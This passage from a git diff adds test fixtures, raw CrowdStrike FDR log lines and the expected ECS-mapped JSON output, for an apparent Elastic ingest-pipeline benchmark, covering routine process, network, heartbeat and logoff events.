all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"} +{"AgentLoadFlags":"none","AgentLocalTime":"none","AgentTimeOffset":"63878691745","AgentVersion":"2025.02.1","BiosManufacturer":"none","BiosVersion":"none","ChassisType":"none","City":"Bengaluru","ComputerName":"none","ConfigBuild":"1007.32.20250201.9","ConfigIDBuild":"20250201","Continent":"Asia","Country":"India","FalconGroupingTags":"none","FirstSeen":"1742447937.000","HostHiddenStatus":"visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"none","SensorGroupingTags":"none","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple","SystemProductName":"none","Time":"1743094945.000","Timezone":"Asia/Kolkata","Version":"iOS 18.3.2","aid":"44444444444444444444444444444444","aip":"0.0.0.0","cid":"55555555555555555555555555555555","event_platform":"iOS"} +{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json new file mode 100644 index 0000000000..fd96fb6dc9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json @@ -0,0 +1,12580 @@ +{ + "expected": [ + { + "@timestamp": "2021-07-07T17:05:21.162Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "ContextTimeStamp": "2021-07-07T17:05:21.137Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "RGID": "501", + "RUID": "501", + "SVGID": "20", + "SVUID": "501", + "SessionProcessId": "363970027584976556", + "SourceProcessId": "362225661973273550", + "SourceThreadId": "0", + "SyntheticPR2Flags": "8", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8dd4-061759968cdf", + "name": "SyntheticProcessRollup2MacV3" + }, + "device": { + "id": "ffffffffa63e404bba4bff7465ab3afb" + }, + "event": { + "action": "SyntheticProcessRollup2", + "category": [ + "process" + ], + "created": "2021-07-07T17:05:21.162Z", + "id": "ffffffff-1111-11eb-8dd4-061759968cdf|ffffffffa63e404bba4bff7465ab3afb|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"ParentProcessId\":\"362225661973273550\",\"SourceProcessId\":\"362225661973273550\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"363970027584976556\",\"SyntheticPR2Flags\":\"8\",\"event_platform\":\"Mac\",\"SVUID\":\"501\",\"id\":\"ffffffff-1111-11eb-8dd4-061759968cdf\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677521162\",\"ProcessGroupId\":\"363970027584976556\",\"event_simpleName\":\"SyntheticProcessRollup2\",\"RawProcessId\":\"9505\",\"ContextTimeStamp\":\"1625677521.137\",\"GID\":\"20\",\"ConfigStateHash\":\"1620585913\",\"SVGID\":\"20\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"501\",\"CommandLine\":\"/bin/sh -s unix:cmd\",\"TargetProcessId\":\"363970027584976556\",\"ImageFileName\":\"/bin/sh\",\"RGID\":\"501\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"SyntheticProcessRollup2MacV3\",\"RUID\":\"501\",\"aid\":\"ffffffffa63e404bba4bff7465ab3afb\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffffa63e404bba4bff7465ab3afb", + "os": { + "type": "macos" + } + }, + "message": "SyntheticProcessRollup2", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffa63e404bba4bff7465ab3afb", + "version": "1007.4.0013701.1" + }, + "process": { + "args": [ + "/bin/sh", + "-s", + "unix:cmd" + ], + "args_count": 3, + "command_line": "/bin/sh -s unix:cmd", + "entity_id": "363970027584976556", + "executable": "/bin/sh", + "name": "sh", + "parent": { + "entity_id": "362225661973273550" + }, + "pgid": 363970027584976556, + "pid": 9505, + "real_user": { + "id": "501" + } + }, + "related": { + "hash": [ + "1620585913" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "501" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "Ext": { + "real": { + "id": "501" + } + }, + "group": { + "id": "20" + }, + "id": "501" + } + }, + { + "@timestamp": "2021-07-07T17:05:24.102Z", + "crowdstrike": { + "AsepWrittenCount": 0, + "ConfigStateHash": "3090255842", + "ContextProcessId": "365053603452626914", + "ContextTimeStamp": "2021-07-07T17:05:23.068Z", + "DirectoryCreatedCount": 0, + "DnsRequestCount": 0, + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "ExecutableDeletedCount": 0, + "FileDeletedCount": 0, + "NetworkBindCount": 0, + "NetworkCapableAsepWriteCount": 0, + "NetworkCloseCount": 0, + "NetworkConnectCount": 0, + "NetworkListenCount": 0, + "NetworkRecvAcceptCount": 0, + "NewExecutableWrittenCount": 0, + "SuspectStackCount": 0, + "SuspiciousDnsRequestCount": 0, + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9d75-02bcf3ade03b", + "name": "EndOfProcessMacV15" + }, + "device": { + "id": "ffffffff3c0846978560dbc0048d6555" + }, + "event": { + "action": "EndOfProcess", + "category": [ + "process" + ], + "created": "2021-07-07T17:05:24.102Z", + "id": "ffffffff-1111-11eb-9d75-02bcf3ade03b|ffffffff3c0846978560dbc0048d6555|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"FileDeletedCount\":\"0\",\"DirectoryCreatedCount\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"event_platform\":\"Mac\",\"NetworkBindCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"id\":\"ffffffff-1111-11eb-9d75-02bcf3ade03b\",\"NewExecutableWrittenCount\":\"0\",\"NetworkCloseCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"SuspectStackCount\":\"0\",\"timestamp\":\"1625677524102\",\"event_simpleName\":\"EndOfProcess\",\"RawProcessId\":\"33454\",\"ContextTimeStamp\":\"1625677523.068\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365053603452626914\",\"AsepWrittenCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"NetworkCapableAsepWriteCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"TargetProcessId\":\"365053603452626914\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"name\":\"EndOfProcessMacV15\",\"aid\":\"ffffffff3c0846978560dbc0048d6555\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "id": "ffffffff3c0846978560dbc0048d6555", + "os": { + "type": "macos" + } + }, + "message": "EndOfProcess", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff3c0846978560dbc0048d6555", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "365053603452626914", + "pid": 33454, + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:48.615Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "ConnectionFlags": "0", + "ContextProcessId": "365042236081053654", + "ContextTimeStamp": "2021-07-07T17:04:48.594Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP6": [ + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-ad8d-064c77be2fd1", + "name": "RawBindIP6MacV10" + }, + "destination": { + "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "port": 546 + }, + "device": { + "id": "ffffffffc59c473aa7fcbbe7438082cb" + }, + "event": { + "action": "RawBindIP6", + "category": [ + "network" + ], + "created": "2021-07-07T17:04:48.615Z", + "id": "ffffffff-1111-11eb-ad8d-064c77be2fd1|ffffffffc59c473aa7fcbbe7438082cb|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"RawBindIP6\",\"ContextTimeStamp\":\"1625677488.594\",\"LocalAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"RemoteAddressIP6\":\"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6\",\"ConfigStateHash\":\"1620585913\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"365042236081053654\",\"RemotePort\":\"546\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"547\",\"Entitlements\":\"15\",\"name\":\"RawBindIP6MacV10\",\"id\":\"ffffffff-1111-11eb-ad8d-064c77be2fd1\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffffc59c473aa7fcbbe7438082cb\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677488615\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "ffffffffc59c473aa7fcbbe7438082cb", + "os": { + "type": "macos" + } + }, + "message": "RawBindIP6", + "network": { + "community_id": "1:ZmJm1KFUrdmL4/rYSRwMQ18GXnk=", + "direction": "unknown", + "iana_number": "17", + "transport": "udp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffc59c473aa7fcbbe7438082cb", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "365042236081053654" + }, + "related": { + "hash": [ + "1620585913" + ], + "ip": [ + "67.43.156.14", + "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6" + ] + }, + "source": { + "address": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", + "port": 547 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:04.527Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "ProcessCount": 4, + "SHA256HashData": "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018", + "Timeout": 600, + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-822b-06081a3f0f45", + "name": "ProcessRollup2StatsMacV1" + }, + "device": { + "id": "ffffffff59fe460783ea45d59e417d6f" + }, + "event": { + "action": "ProcessRollup2Stats", + "category": [ + "process" + ], + "created": "2021-07-07T17:05:04.527Z", + "id": "ffffffff-1111-11eb-822b-06081a3f0f45|ffffffff59fe460783ea45d59e417d6f|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"1620585913\",\"Timeout\":\"600\",\"aip\":\"67.43.156.14\",\"SHA256HashData\":\"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018\",\"ProcessCount\":\"4\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"502\",\"event_platform\":\"Mac\",\"CommandLine\":\"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\\n feature_name: FEATURE_NAME,\\n variants: [FEATURE_VARIANT],\\n )\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2StatsMacV1\",\"id\":\"ffffffff-1111-11eb-822b-06081a3f0f45\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff59fe460783ea45d59e417d6f\",\"timestamp\":\"1625677504527\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "unknown", + "type": [ + "info" + ] + }, + "host": { + "id": "ffffffff59fe460783ea45d59e417d6f", + "os": { + "type": "macos" + } + }, + "message": "ProcessRollup2Stats", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff59fe460783ea45d59e417d6f", + "version": "1007.4.0013701.1" + }, + "process": { + "args": [ + "ruby", + "--disable-gems", + "sorbet/feature_dependency_plugin.rb", + "--class", + "EmergingAlbertsonsPickupBannerDiscount", + "--method", + "feature_dependency", + "--source", + "feature_dependency", + "Domain::FeatureDependencies::RouletteUserFeature.new(\n", + "feature_name:", + "FEATURE_NAME,\n", + "variants:", + "[FEATURE_VARIANT],\n", + ")" + ], + "args_count": 15, + "command_line": "ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n feature_name: FEATURE_NAME,\n variants: [FEATURE_VARIANT],\n )", + "hash": { + "sha256": "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018" + } + }, + "related": { + "hash": [ + "f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018", + "1620585913" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "502" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "502" + } + }, + { + "@timestamp": "2021-07-07T17:05:14.783Z", + "crowdstrike": { + "ConfigIDBase": "65994753", + "ConfigIDBuild": "13701", + "ConfigIDPlatform": "4", + "ConfigStateHash": "3090255842", + "ConfigurationVersion": "10", + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "NetworkContainmentState": "0", + "ProvisionState": "1", + "SensorStateBitMap": "0", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-97c6-02fd02aca859", + "name": "SensorHeartbeatMacV4" + }, + "device": { + "id": "ffffffffe1ad47b6b5b44ae9151a6cf3" + }, + "event": { + "action": "SensorHeartbeat", + "category": [ + "package" + ], + "created": "2021-07-07T17:05:14.783Z", + "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffffe1ad47b6b5b44ae9151a6cf3|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"SensorHeartbeat\",\"ConfigStateHash\":\"3090255842\",\"NetworkContainmentState\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigIDBase\":\"65994753\",\"SensorStateBitMap\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"ConfigurationVersion\":\"10\",\"Entitlements\":\"15\",\"name\":\"SensorHeartbeatMacV4\",\"ConfigIDPlatform\":\"4\",\"id\":\"ffffffff-1111-11eb-97c6-02fd02aca859\",\"ConfigIDBuild\":\"13701\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffe1ad47b6b5b44ae9151a6cf3\",\"ProvisionState\":\"1\",\"timestamp\":\"1625677514783\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "ffffffffe1ad47b6b5b44ae9151a6cf3", + "os": { + "type": "macos" + } + }, + "message": "SensorHeartbeat", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffe1ad47b6b5b44ae9151a6cf3", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:02.500Z", + "crowdstrike": { + "ConfigStateHash": "1620585913", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "MD5HashData": "88922d50263b059696c2af5a99906562", + "MachOSubType": "1", + "RGID": "0", + "RUID": "0", + "SHA256HashData": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6", + "SVGID": "0", + "SVUID": "0", + "SessionProcessId": "362213307092004097", + "SourceProcessId": "362213307092004097", + "SourceThreadId": "0", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-a9ce-02e9216bdbcb", + "name": "ProcessRollup2MacV5" + }, + "device": { + "id": "ffffffff8be84591864008eb2e484920" + }, + "event": { + "action": "ProcessRollup2", + "category": [ + "process" + ], + "created": "2021-07-07T17:05:02.500Z", + "id": "ffffffff-1111-11eb-a9ce-02e9216bdbcb|ffffffff8be84591864008eb2e484920|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"MachOSubType\":\"1\",\"ParentProcessId\":\"362213307092004097\",\"SourceProcessId\":\"362213307092004097\",\"aip\":\"67.43.156.14\",\"SessionProcessId\":\"362213307092004097\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Mac\",\"ProcessEndTime\":\"\",\"SVUID\":\"0\",\"ParentBaseFileName\":\"launchd\",\"id\":\"ffffffff-1111-11eb-a9ce-02e9216bdbcb\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1625677502500\",\"ProcessGroupId\":\"362213307092004097\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"56254\",\"GID\":\"0\",\"ConfigStateHash\":\"1620585913\",\"SVGID\":\"0\",\"MD5HashData\":\"88922d50263b059696c2af5a99906562\",\"SHA256HashData\":\"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"CommandLine\":\"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000\",\"TargetProcessId\":\"363276350115996101\",\"ImageFileName\":\"/usr/libexec/xpcproxy\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2MacV5\",\"RUID\":\"0\",\"ProcessStartTime\":\"1625677502.233\",\"aid\":\"ffffffff8be84591864008eb2e484920\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "ffffffff8be84591864008eb2e484920", + "os": { + "type": "macos" + } + }, + "message": "ProcessRollup2", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff8be84591864008eb2e484920", + "version": "1007.4.0013701.1" + }, + "process": { + "args": [ + "xpcproxy", + "com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000" + ], + "args_count": 2, + "command_line": "xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000", + "entity_id": "363276350115996101", + "executable": "/usr/libexec/xpcproxy", + "hash": { + "md5": "88922d50263b059696c2af5a99906562", + "sha256": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6" + }, + "name": "xpcproxy", + "parent": { + "entity_id": "362213307092004097", + "name": "launchd" + }, + "pgid": 362213307092004097, + "pid": 56254, + "real_user": { + "id": "0" + }, + "start": "2021-07-07T17:05:02.233Z" + }, + "related": { + "hash": [ + "88922d50263b059696c2af5a99906562", + "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6", + "1620585913" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "0" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "Ext": { + "real": { + "id": "0" + } + }, + "group": { + "id": "0" + }, + "id": "0" + } + }, + { + "@timestamp": "2021-07-07T17:05:05.511Z", + "crowdstrike": { + "ConfigStateHash": "1701000200", + "ConnectionFlags": "0", + "ContextProcessId": "17307488247882", + "ContextTimeStamp": "2021-07-07T17:05:04.982Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP4": [ + "0.0.0.0" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5", + "name": "NetworkReceiveAcceptIP4LinV5" + }, + "destination": { + "address": "0.0.0.0", + "ip": "0.0.0.0", + "port": 39920 + }, + "device": { + "id": "ffffffff5a2e420c99f6b6d3a5d9de9b" + }, + "event": { + "action": "NetworkReceiveAcceptIP4", + "category": [ + "network" + ], + "created": "2021-07-07T17:05:05.511Z", + "id": "ffffffff-1111-11eb-9d7c-02e8a46f51a5|ffffffff5a2e420c99f6b6d3a5d9de9b|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"NetworkReceiveAcceptIP4\",\"ContextTimeStamp\":\"1625677504.982\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"17307488247882\",\"RemotePort\":\"53\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"39920\",\"Entitlements\":\"15\",\"name\":\"NetworkReceiveAcceptIP4LinV5\",\"id\":\"ffffffff-1111-11eb-9d7c-02e8a46f51a5\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff5a2e420c99f6b6d3a5d9de9b\",\"RemoteAddressIP4\":\"67.43.156.14\",\"ConnectionDirection\":\"1\",\"InContext\":\"0\",\"timestamp\":\"1625677505511\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "unknown", + "type": [ + "allowed", + "access", + "connection" + ] + }, + "host": { + "id": "ffffffff5a2e420c99f6b6d3a5d9de9b", + "os": { + "type": "linux" + } + }, + "message": "NetworkReceiveAcceptIP4", + "network": { + "community_id": "1:urvmigA14TUbvxTimPg744QEiSA=", + "direction": "inbound", + "iana_number": "17", + "transport": "udp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff5a2e420c99f6b6d3a5d9de9b", + "version": "1007.8.0011308.1" + }, + "process": { + "entity_id": "17307488247882" + }, + "related": { + "hash": [ + "1701000200" + ], + "ip": [ + "67.43.156.14", + "0.0.0.0" + ] + }, + "source": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14", + "port": 53 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:22.009Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ConnectionFlags": "0", + "ContextProcessId": "362579458925546303", + "ContextTimeStamp": "2021-07-07T17:05:21.866Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP4": [ + "67.43.156.14" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-81d4-0282ad9ac82d", + "name": "RawBindIP4MacV10" + }, + "destination": { + "address": "0.0.0.0", + "ip": "0.0.0.0", + "port": 0 + }, + "device": { + "id": "ffffffff01fc49949cf06bf0bce3c010" + }, + "event": { + "action": "RawBindIP4", + "category": [ + "network" + ], + "created": "2021-07-07T17:05:22.009Z", + "id": "ffffffff-1111-11eb-81d4-0282ad9ac82d|ffffffff01fc49949cf06bf0bce3c010|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"RawBindIP4\",\"ContextTimeStamp\":\"1625677521.866\",\"ConfigStateHash\":\"3090255842\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"362579458925546303\",\"RemotePort\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"LocalPort\":\"53\",\"Entitlements\":\"15\",\"name\":\"RawBindIP4MacV10\",\"id\":\"ffffffff-1111-11eb-81d4-0282ad9ac82d\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff01fc49949cf06bf0bce3c010\",\"RemoteAddressIP4\":\"0.0.0.0\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677522009\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", + "outcome": "success", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "ffffffff01fc49949cf06bf0bce3c010", + "os": { + "type": "macos" + } + }, + "message": "RawBindIP4", + "network": { + "direction": "unknown", + "iana_number": "17", + "transport": "udp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff01fc49949cf06bf0bce3c010", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "362579458925546303" + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14", + "0.0.0.0" + ] + }, + "source": { + "address": "67.43.156.14", + "as": { + "number": 35908 + }, + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": "67.43.156.14", + "port": 53 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:24.048Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ConnectionFlags": "0", + "ContextProcessId": "364783686797112486", + "ContextTimeStamp": "2021-07-07T17:05:23.901Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP6": [ + "0:0:0:0:0:0:0:0" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-97c6-02fd02aca859", + "name": "NetworkConnectIP6MacV10" + }, + "destination": { + "address": "127.0.0.1", + "ip": "127.0.0.1", + "port": 50626 + }, + "device": { + "id": "ffffffff083845f68a7de3d95cb34361" + }, + "event": { + "action": "NetworkConnectIP6", + "category": [ + "network" + ], + "created": "2021-07-07T17:05:24.048Z", + "id": "ffffffff-1111-11eb-97c6-02fd02aca859|ffffffff083845f68a7de3d95cb34361|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": 